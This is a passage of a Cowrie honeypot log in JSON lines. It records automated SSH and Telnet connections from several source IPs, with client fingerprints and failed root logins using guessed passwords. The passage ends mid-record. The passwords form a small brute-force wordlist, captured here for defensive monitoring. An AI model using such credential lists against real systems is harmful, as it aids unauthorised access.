{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:01.527074Z","src_ip":"144.91.86.102","session":"bd9265995072","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:02.419328Z","src_ip":"144.91.86.102","session":"bd9265995072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:03.645698Z","src_ip":"144.91.86.102","session":"bd9265995072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":45460,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c1e82717f6e","protocol":"ssh","message":"New connection: 43.162.109.147:45460 (10.17.0.5:22) [session: 7c1e82717f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:46.262911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:46.267856Z","src_ip":"43.162.109.147","session":"7c1e82717f6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:46.340033Z","src_ip":"43.162.109.147","session":"7c1e82717f6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ranjit","message":"login attempt [root/ranjit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:46.642592Z","src_ip":"43.162.109.147","session":"7c1e82717f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:47.713964Z","src_ip":"43.162.109.147","session":"7c1e82717f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:49.768571Z","src_ip":"180.106.83.59","session":"bc8cdca79471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":45572,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd06119e4dbc","protocol":"ssh","message":"New connection: 95.58.255.251:45572 (10.17.0.5:22) [session: fd06119e4dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:55.143255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:55.148855Z","src_ip":"95.58.255.251","session":"fd06119e4dbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:55.316798Z","src_ip":"95.58.255.251","session":"fd06119e4dbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:56.020719Z","src_ip":"95.58.255.251","session":"fd06119e4dbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:57.191519Z","src_ip":"95.58.255.251","session":"fd06119e4dbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":36278,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd8e94ac1b08","protocol":"ssh","message":"New connection: 192.169.243.246:36278 (159.203.135.109:22) [session: cd8e94ac1b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:57.263248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:57.267762Z","src_ip":"192.169.243.246","session":"cd8e94ac1b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:57.343711Z","src_ip":"192.169.243.246","session":"cd8e94ac1b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qweqwe123.","message":"login attempt [root/Qweqwe123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:57.696239Z","src_ip":"192.169.243.246","session":"cd8e94ac1b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:58.775736Z","src_ip":"192.169.243.246","session":"cd8e94ac1b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":57812,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dcf0d44cd48","protocol":"ssh","message":"New connection: 138.99.80.102:57812 (159.203.135.109:22) [session: 0dcf0d44cd48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:30.196260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:30.201441Z","src_ip":"138.99.80.102","session":"0dcf0d44cd48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:30.319536Z","src_ip":"138.99.80.102","session":"0dcf0d44cd48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:30.817346Z","src_ip":"138.99.80.102","session":"0dcf0d44cd48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:31.938291Z","src_ip":"138.99.80.102","session":"0dcf0d44cd48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":57870,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f1c9f5e4505","protocol":"telnet","message":"New connection: 167.71.238.254:57870 (10.17.0.5:23) [session: 5f1c9f5e4505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:35.881908Z"}
{"eventid":"cowrie.session.closed","duration":5.275789499282837,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:41.157609Z","src_ip":"167.71.238.254","session":"5f1c9f5e4505","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":43450,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d657ac6b3ec","protocol":"ssh","message":"New connection: 144.91.86.102:43450 (10.17.0.5:22) [session: 3d657ac6b3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:42.724569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:42.729243Z","src_ip":"144.91.86.102","session":"3d657ac6b3ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:42.821159Z","src_ip":"144.91.86.102","session":"3d657ac6b3ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sklep","message":"login attempt [root/sklep] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:43.228980Z","src_ip":"144.91.86.102","session":"3d657ac6b3ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":58376,"dst_ip":"159.203.135.109","dst_port":22,"session":"5280f6f8fb58","protocol":"ssh","message":"New connection: 200.108.174.4:58376 (159.203.135.109:22) [session: 5280f6f8fb58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:44.012595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:44.017224Z","src_ip":"200.108.174.4","session":"5280f6f8fb58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:44.176203Z","src_ip":"200.108.174.4","session":"5280f6f8fb58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:44.327143Z","src_ip":"144.91.86.102","session":"3d657ac6b3ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2b3c4d5e","message":"login attempt [root/1a2b3c4d5e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:44.844304Z","src_ip":"200.108.174.4","session":"5280f6f8fb58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:46.007430Z","src_ip":"200.108.174.4","session":"5280f6f8fb58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":45722,"dst_ip":"10.17.0.5","dst_port":22,"session":"27208a7ae45e","protocol":"ssh","message":"New connection: 43.162.109.147:45722 (10.17.0.5:22) [session: 27208a7ae45e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:53.508110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:53.512809Z","src_ip":"43.162.109.147","session":"27208a7ae45e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:53.580571Z","src_ip":"43.162.109.147","session":"27208a7ae45e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flying","message":"login attempt [root/flying] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:53.887148Z","src_ip":"43.162.109.147","session":"27208a7ae45e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:01:54.959420Z","src_ip":"43.162.109.147","session":"27208a7ae45e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":37028,"dst_ip":"10.17.0.5","dst_port":22,"session":"05c1d68b67d6","protocol":"ssh","message":"New connection: 95.58.255.251:37028 (10.17.0.5:22) [session: 05c1d68b67d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:07.357602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:07.361476Z","src_ip":"95.58.255.251","session":"05c1d68b67d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","e